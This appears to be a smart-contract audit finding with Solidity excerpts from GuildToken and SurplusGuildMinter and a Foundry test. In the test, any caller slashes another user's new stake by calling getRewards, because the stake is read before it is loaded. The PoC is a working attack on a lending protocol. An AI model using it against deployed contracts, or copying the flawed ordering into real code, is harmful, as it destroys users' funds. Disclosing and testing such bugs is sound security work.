247:        uint256 _lastGaugeLoss = lastGaugeLoss[gauge];
248:        uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][user];
249:        if (getUserGaugeWeight[user][gauge] == 0) {
250:            lastGaugeLossApplied[gauge][user] = block.timestamp;
251:        } else {
252:            require(
253:                _lastGaugeLossApplied >= _lastGaugeLoss,
254:                "GuildToken: pending loss"
255:            );
256:        }
133:    function applyGaugeLoss(address gauge, address who) external {
134:        // check preconditions
135:        uint256 _lastGaugeLoss = lastGaugeLoss[gauge];
136:        uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][who];
137:        require(
138:            _lastGaugeLoss != 0 && _lastGaugeLossApplied < _lastGaugeLoss,
139:            "GuildToken: no loss to apply"
140:        );
216:    function getRewards(
217:        address user,
218:        address term
219:    )
220:        public
221:        returns (
222:            uint256 lastGaugeLoss, // GuildToken.lastGaugeLoss(term)
223:            UserStake memory userStake, // stake state after execution of getRewards()
224:            bool slashed // true if the user has been slashed
225:        )
226:    {
227:        bool updateState;
228:        lastGaugeLoss = GuildToken(guild).lastGaugeLoss(term);
229:        if (lastGaugeLoss > uint256(userStake.lastGaugeLoss)) {
230:            slashed = true;
231:        }
232:
233:        // if the user is not staking, do nothing
234:        userStake = _stakes[user][term];
235:        if (userStake.stakeTime == 0)
236:            return (lastGaugeLoss, userStake, slashed);
        if (lastGaugeLoss > uint256(0)) {
            slashed = true;
        }
114:    function stake(address term, uint256 amount) external whenNotPaused {
115:        // apply pending rewards
116:        (uint256 lastGaugeLoss, UserStake memory userStake, ) = getRewards(
117:            msg.sender,
118:            term
119:        );
120:
121:        require(
122:            lastGaugeLoss != block.timestamp,
123:            "SurplusGuildMinter: loss in block"
124:        );
125:        require(amount >= MIN_STAKE, "SurplusGuildMinter: min stake");
139:        userStake = UserStake({
140:            stakeTime: SafeCastLib.safeCastTo48(block.timestamp),
141:            lastGaugeLoss: SafeCastLib.safeCastTo48(lastGaugeLoss),
142:            profitIndex: SafeCastLib.safeCastTo160(
143:                ProfitManager(profitManager).userGaugeProfitIndex(
144:                    address(this),
145:                    term
146:                )
147:            ),
148:            credit: userStake.credit + SafeCastLib.safeCastTo128(amount),
149:            guild: userStake.guild + SafeCastLib.safeCastTo128(guildAmount)
150:        });
151:        _stakes[msg.sender][term] = userStake;
274:        if (slashed) {
275:            emit Unstake(block.timestamp, term, uint256(userStake.credit));
276:            userStake = UserStake({
277:                stakeTime: uint48(0),
278:                lastGaugeLoss: uint48(0),
279:                profitIndex: uint160(0),
280:                credit: uint128(0),
281:                guild: uint128(0)
282:            });
283:            updateState = true;
284:        }
285:
286:        // store the updated stake, if needed
287:        if (updateState) {
288:            _stakes[user][term] = userStake;
289:        }
158:    function unstake(address term, uint256 amount) external {
159:        // apply pending rewards
160:        (, UserStake memory userStake, bool slashed) = getRewards(
161:            msg.sender,
162:            term
163:        );
164:
165:        // if the user has been slashed, there is nothing to do
166:        if (slashed) return;
247:        uint256 deltaIndex = _profitIndex - _userProfitIndex;
248:
249:        if (deltaIndex != 0) {
250:            uint256 creditReward = (uint256(userStake.guild) * deltaIndex) /
251:                1e18;
252:            uint256 guildReward = (creditReward * rewardRatio) / 1e18;
253:            if (slashed) {
254:                guildReward = 0;
255:            }
256:
257:            // forward rewards to user
258:            if (guildReward != 0) {
259:                RateLimitedMinter(rlgm).mint(user, guildReward);
260:                emit GuildReward(block.timestamp, user, guildReward);
261:            }
262:            if (creditReward != 0) {
263:                CreditToken(credit).transfer(user, creditReward);
264:            }
205:        // burn GUILD
206:        GuildToken(guild).decrementGauge(term, guildAmount);
207:        RateLimitedMinter(rlgm).replenishBuffer(guildAmount);
208:        GuildToken(guild).burn(guildAmount);
    function testUserImmediatelySlashed() public {
        // initial state
        assertEq(guild.getGaugeWeight(term), 50e18);

        // add credit to surplus buffer
        credit.mint(address(this), 100e18);
        credit.approve(address(profitManager), 50e18);
        profitManager.donateToSurplusBuffer(50e18);

        // term incurs loss
        profitManager.notifyPnL(term, -50e18);
        assertEq(guild.lastGaugeLoss(term), block.timestamp);

        // term offboarded
        guild.removeGauge(term);
        assertEq(guild.isGauge(term), false);

        // time passes and term is re-onboarded
        vm.roll(block.number + 100);
        vm.warp(block.timestamp + (100 * 13));
        guild.addGauge(1, term);
        assertEq(guild.isGauge(term), true);

        // user stakes into term directly
        address user = address(0x01010101);
        guild.mint(user, 10e18);
        vm.startPrank(user);
        guild.incrementGauge(term, 10e18);
        vm.stopPrank();

        // user can un-stake from term
        vm.startPrank(user);
        guild.decrementGauge(term, 10e18);
        vm.stopPrank();

        // user stakes into term via sgm
        credit.mint(user, 10e18);
        vm.startPrank(user);
        credit.approve(address(sgm), 10e18);
        sgm.stake(term, 10e18);
        vm.stopPrank();
        
        // check after-stake state
        assertEq(credit.balanceOf(user), 0);
        assertEq(profitManager.termSurplusBuffer(term), 10e18);
        assertEq(guild.getGaugeWeight(term), 70e18);
        SurplusGuildMinter.UserStake memory userStake = sgm.getUserStake(user, term);
        assertEq(uint256(userStake.stakeTime), block.timestamp);
        assertEq(userStake.lastGaugeLoss, guild.lastGaugeLoss(term));
        assertEq(userStake.profitIndex, 0);
        assertEq(userStake.credit, 10e18);
        assertEq(userStake.guild, 20e18);

        // malicious actor is aware of bug and slashes the user's stake immediately, despite no loss occurring in the gauge
        sgm.getRewards(user, term);

        // check after-getReward state (user was slashed even though no loss has occurred since term was re-onboarded)
        assertEq(credit.balanceOf(user), 0);
        assertEq(profitManager.termSurplusBuffer(term), 10e18);
        assertEq(guild.getGaugeWeight(term), 70e18);
        userStake = sgm.getUserStake(user, term);
        assertEq(uint256(userStake.stakeTime), 0);
        assertEq(userStake.lastGaugeLoss, 0);
        assertEq(userStake.profitIndex, 0);
        assertEq(userStake.credit, 0);
        assertEq(userStake.guild, 0);

        // user tries to unstake but will not receive anything
        uint256 userBalanceBefore = credit.balanceOf(user);
        vm.startPrank(user);
        sgm.unstake(term, 10e18);
        vm.stopPrank();
        uint256 userAfterBalance = credit.balanceOf(user);

        assertEq(userBalanceBefore, 0);
        assertEq(userAfterBalance, 0);
    }
